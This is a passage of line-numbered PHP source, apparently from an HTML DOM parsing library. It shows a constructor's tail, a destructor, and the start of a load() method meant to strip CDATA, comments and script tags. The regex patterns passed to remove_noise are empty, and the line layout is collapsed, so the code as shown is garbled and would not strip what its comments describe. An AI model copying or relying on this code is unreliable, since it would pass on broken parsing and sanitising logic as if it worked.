| if ($str) 1037 | { 1038 | if (preg_match("/^http:\/\//i",$str) || is_file($str)) 1039 | { 1040 | $this->load_file($str); 1041 | } 1042 | else 1043 | { 1044 | $this->load($str, $lowercase, $stripRN, $defaultBRText, $defaultSpanText); 1045 | } 1046 | } 1047 | // Forcing tags to be closed implies that we don't trust the html, but it can lead to parsing errors if we SHOULD trust the html. 1048 | if (!$forceTagsClosed) { 1049 | $this->optional_closing_array=array(); 1050 | } 1051 | $this->_target_charset = $target_charset; 1052 | } 1053 | 1054 | function __destruct() 1055 | { 1056 | $this->clear(); 1057 | } 1058 | 1059 | // load html from string 1060 | function load($str, $lowercase=true, $stripRN=true, $defaultBRText=DEFAULT_BR_TEXT, $defaultSpanText=DEFAULT_SPAN_TEXT) 1061 | { 1062 | global $debug_object; 1063 | 1064 | // prepare 1065 | $this->prepare($str, $lowercase, $stripRN, $defaultBRText, $defaultSpanText); 1066 | // strip out cdata 1067 | $this->remove_noise("''is", true); 1068 | // strip out comments 1069 | $this->remove_noise("''is"); 1070 | // Per sourceforge http://sourceforge.net/tracker/?func=detail&aid=2949097&group_id=218559&atid=1044037 1071 | // Script tags removal now preceeds style tag removal. 1072 | // strip out